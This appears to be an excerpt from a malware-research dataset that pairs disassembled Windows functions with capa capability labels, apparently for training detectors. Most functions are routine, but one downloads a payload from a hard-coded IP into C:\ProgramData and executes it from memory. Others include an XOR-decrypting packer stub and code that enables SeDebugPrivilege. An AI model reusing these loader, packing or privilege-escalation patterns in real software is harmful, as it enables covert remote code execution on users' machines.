joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46cf90
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push ebp
push esi
push edi
xor edi, edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
mov esi, dword [esp + 0x21c]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x46cffb
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x46d035
lea edx, [esp + 0x10]
push esi
push edx
push SysStringLen
call fcn.0046ce00
add esp, 0xc
lea eax, [esp + 0x10]
inc edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
test eax, eax
je 0x46cfc5
mov edi, 0x4878b0
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x46d035
mov edx, dword [edi]
push esi
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0046ce00
add edi, 4
add esp, 0xc
cmp edi, 0x4878c0
jb 0x46d000
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x208
ret

Function at 0x46d070
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x250
push esi
push edi
mov edi, dword [esp + 0x25c]
push 0x5c
push edi
call fcn.00473082
mov esi, eax
add esp, 8
test esi, esi
je 0x46d107
lea eax, [esp + 8]
mov word [esi], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x46d102
push ebx
lea ebx, [esi + 2]
push ebp
lea ecx, [esp + 0x3c]
push ebx
push ecx
call fcn.00472946
add esp, 8
test eax, eax
je 0x46d0e3
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea edx, [esp + 0x10]
push edx
push edi
call ebp
test eax, eax
je 0x46d0e8
lea eax, [esp + 0x3c]
push ebx
push eax
call fcn.00472946
add esp, 8
test eax, eax
jne 0x46d0c5
mov word [esi], 0x5c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp word [esi], 0
pop ebp
pop ebx
je 0x46d102
pop edi
mov al, 1
pop esi
add esp, 0x250
ret
mov word [esi], 0x5c
pop edi
xor al, al
pop esi
add esp, 0x250
ret
Function at 0x46df10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x4829fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0x46e002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00471dff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x46e002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.004696e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.0047220b
push 0x10
call fcn.004721d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0x46dfc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.0045e1c0
jmp 0x46dfc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.0046db80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0x46dff0
mov ecx, edi
call fcn.0045e2c0
push edi
call fcn.004721c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x46e021
inc ebx
cmp ebx, 0x20
jb 0x46df3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x46f250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x483808
push 0x473288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x46f329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x46f329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004721d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0x46f329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0x46f329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0x46f32c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.0046f351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46fd20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x46fd58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0x46fd60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x46fd94
mov eax, dword [esp + 0x14]
test eax, eax
je 0x46fd94
push eax
push esi
call fcn.0047220b
add esp, 8
pop esi
ret 0x10

Function at 0x46fda0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x46fe22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0x46fe15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0x488320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00471dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0x46fdda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0x46fe30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x46fec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0x46feb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0x488320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00471dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0x46feab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0x46fe6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0x470000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x470131
push esi
call fcn.00473145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00462080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0x470131
push 0
push ebp
call fcn.004623a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00462260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0x47008b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.004622f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x470121
push 0x488918
push edi
call fcn.004713f0
push eax
push ebx
push esi
call fcn.0046ff60
push 0x4888f8
push edi
call fcn.004713f0
push eax
push ebx
push esi
call fcn.0046ff60
push 0x4888d8
push edi
call fcn.004713f0
push eax
push ebx
push esi
call fcn.0046ff60
push 0x4888c0
push edi
call fcn.004713f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.0046ff60
push 0x4888a0
push edi
call fcn.004713f0
push eax
push ebx
push esi
call fcn.0046ff60
push 0x488888
push edi
call fcn.004713f0
push eax
push ebx
push esi
call fcn.0046ff60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4711b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00471140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00471140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00471140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00471140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x471bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x471c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x48387c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x471c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x471c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x10002fa4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [esp + 0x10]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
mov ecx, dword [edi + 0x3c]
lea eax, [ecx + eax*8]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, dword [eax + 0x20]
mov ebx, dword [eax + 0x1c]
add ecx, edi
mov ebp, dword [eax + 0x24]
add ebx, edi
mov eax, dword [eax + 0x18]
add ebp, edi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], eax
test eax, eax
je 0x10002ffe
mov eax, dword [ecx + esi*4]
add eax, edi
push eax
push dword [esp + 0x20]
call fcn.10002f7a
pop ecx
pop ecx
cmp eax, dword [esp + 0x18]
je 0x10003005
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, dword [esp + 0x14]
jb 0x10002fdc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
movzx eax, word [ebp + esi*2]
mov eax, dword [ebx + eax*4]
add eax, edi
jmp 0x10003000
Function at 0x10022019
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10053130]
jne 0x10022023
repz ret
jmp fcn.10028a5c

Function at 0x100310c4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100283a0
and dword [ebp - 4], 0
cmp dword [0x10057058], 0
mov ebx, eax
jne 0x10031175
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10031226
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10031226
push eax
call fcn.1002832e
mov dword [esp], 0x100440f4
push edi
mov dword [0x10057058], eax
call esi
push eax
call fcn.1002832e
mov dword [esp], 0x100440e0
push edi
mov dword [0x1005705c], eax
call esi
push eax
call fcn.1002832e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10057060], eax
call esi
push eax
call fcn.1002832e
pop ecx
mov dword [0x10057068], eax
test eax, eax
je 0x10031175
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1002832e
pop ecx
mov dword [0x10057064], eax
mov eax, dword [0x10057064]
cmp eax, ebx
je 0x100311cd
cmp dword [0x10057068], ebx
je 0x100311cd
push eax
call fcn.100283a9
push dword [0x10057068]
mov esi, eax
call fcn.100283a9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100311cd
test edi, edi
je 0x100311cd
call esi
test eax, eax
je 0x100311c4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100311c4
test byte [ebp - 0xc], 1
jne 0x100311cd
or dword [ebp + 0x10], 0x200000
jmp 0x10031206
mov eax, dword [0x1005705c]
cmp eax, ebx
je 0x10031206
push eax
call fcn.100283a9
pop ecx
test eax, eax
je 0x10031206
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10031206
mov eax, dword [0x10057060]
cmp eax, ebx
je 0x10031206
push eax
call fcn.100283a9
pop ecx
test eax, eax
je 0x10031206
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10057058]
call fcn.100283a9
pop ecx
test eax, eax
je 0x10031226
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10031228
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40de38
mov ecx, 0x8d83029
nop
nop
nop
nop
nop
test eax, eax
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x4304d8
nop
mov ecx, 0x78607da5
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x403100
Capabilities:
Download url
Get file size
Read file on windows
Read file via mapping
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0
push 0
push str.C:ProgramData_admin.txt
push str.http:__154.198.49.44_admin.txt
push 0
call sub.urlmon.dll_URLDownloadToFileA
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push str.C:ProgramData_admin.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push 0
push 0
push 6
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, ebx
mov edi, eax
mov edx, ecx
mov dword [ebp - 0xc], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 4]
push ecx
push 0x20
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
mov eax, dword [ebp - 0xc]
call eax
popal
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
lea edx, [ebp - 4]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402480
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ecx
mov edx, dword [esp + 8]
mov eax, dword [edx]
push ebx
push ebp
push esi
mov esi, dword [edx + 4]
mov edx, eax
shr edx, 4
xor edx, esi
and edx, 0xf0f0f0f
xor esi, edx
shl edx, 4
xor eax, edx
mov edx, eax
shr edx, 0x10
xor edx, esi
and edx, 0xffff
xor esi, edx
shl edx, 0x10
xor eax, edx
mov edx, esi
shr edx, 2
xor edx, eax
and edx, 0x33333333
xor eax, edx
add edx, edx
add edx, edx
xor esi, edx
mov edx, esi
shr edx, 8
xor edx, eax
and edx, 0xff00ff
xor eax, edx
shl edx, 8
xor edx, esi
rol edx, 1
mov esi, edx
xor edx, eax
and edx, 0xaaaaaaaa
xor esi, edx
xor edx, eax
rol edx, 1
push edi
mov ecx, 0x4f36a8
mov edi, edx
mov dword [esp + 0x10], 8
mov eax, esi
ror eax, 4
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and edx, 0x3f
mov edx, dword [edx*4 + 0x4bc180]
or edx, dword [ebx*4 + 0x4bc380]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edx, dword [ebx*4 + 0x4bc580]
and eax, 0x3f
or edx, dword [eax*4 + 0x4bc780]
mov eax, dword [ecx]
xor eax, esi
mov ebx, eax
shr ebx, 0x18
and ebx, 0x3f
mov ebx, dword [ebx*4 + 0x4bc280]
mov ebp, eax
shr ebp, 0x10
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x4bc480]
mov ebp, eax
shr ebp, 8
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x4bc680]
and eax, 0x3f
or ebx, dword [eax*4 + 0x4bc880]
add ecx, 4
or ebx, edx
xor edi, ebx
mov eax, edi
ror eax, 4
xor eax, dword [ecx]
add ecx, 4
mov edx, eax
shr edx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and edx, 0x3f
mov edx, dword [edx*4 + 0x4bc180]
or edx, dword [ebx*4 + 0x4bc380]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edx, dword [ebx*4 + 0x4bc580]
and eax, 0x3f
or edx, dword [eax*4 + 0x4bc780]
mov eax, dword [ecx]
xor eax, edi
mov ebx, eax
shr ebx, 0x18
and ebx, 0x3f
mov ebx, dword [ebx*4 + 0x4bc280]
mov ebp, eax
shr ebp, 0x10
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x4bc480]
mov ebp, eax
shr ebp, 8
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x4bc680]
and eax, 0x3f
or ebx, dword [eax*4 + 0x4bc880]
add ecx, 4
or ebx, edx
xor esi, ebx
sub dword [esp + 0x10], 1
jne 0x402500
ror esi, 1
mov eax, esi
xor eax, edi
and eax, 0xaaaaaaaa
xor esi, eax
xor eax, edi
ror eax, 1
mov ecx, eax
shr ecx, 8
xor ecx, esi
and ecx, 0xff00ff
xor esi, ecx
shl ecx, 8
xor eax, ecx
mov ecx, eax
shr ecx, 2
xor ecx, esi
and ecx, 0x33333333
xor esi, ecx
add ecx, ecx
add ecx, ecx
xor eax, ecx
mov edx, dword [esp + 0x18]
mov ecx, esi
shr ecx, 0x10
xor ecx, eax
and ecx, 0xffff
xor eax, ecx
shl ecx, 0x10
xor esi, ecx
mov ecx, esi
shr ecx, 4
xor ecx, eax
and ecx, 0xf0f0f0f
mov edi, ecx
shl edi, 4
xor edi, esi
mov dword [edx], edi
pop edi
pop esi
xor ecx, eax
pop ebp
mov dword [edx + 4], ecx
pop ebx
pop ecx
ret
Function at 0x402e70
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x258
mov eax, dword [0x4ba700]
xor eax, esp
mov dword [esp + 0x254], eax
mov eax, dword [esp + 0x25c]
push ebx
push ebp
push esi
push edi
push 0x104
lea ecx, [esp + 0x15c]
push ecx
xor ebp, ebp
push ebp
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x402f7c
lea edx, [esp + 0x158]
push 0x5c
push edx
call fcn.0047c410
add esp, 8
test eax, eax
je 0x402f7c
mov byte [eax], 0
lea eax, [esp + 0x158]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402ed8
sub eax, edx
cmp byte [esp + eax + 0x157], 0x5c
je 0x402f04
lea edi, [esp + 0x158]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402ef3
mov ax, word [0x4a3f08]
mov word [edi], ax
lea eax, [esp + 0x158]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402f10
mov ecx, dword [str..dsm]
mov dx, word [0x4a3f10]
mov dword [eax], ecx
mov word [eax + 4], dx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x15c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402f7c
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x44]
push edx
push 0
push 0x143
push eax
call edi
lea ecx, [esp + 0x18]
push ecx
push esi
inc ebp
call ebx
test eax, eax
jne 0x402f51
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebp
jmp 0x402f7e
xor eax, eax
mov ecx, dword [esp + 0x264]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0047c3ff
add esp, 0x258
ret 4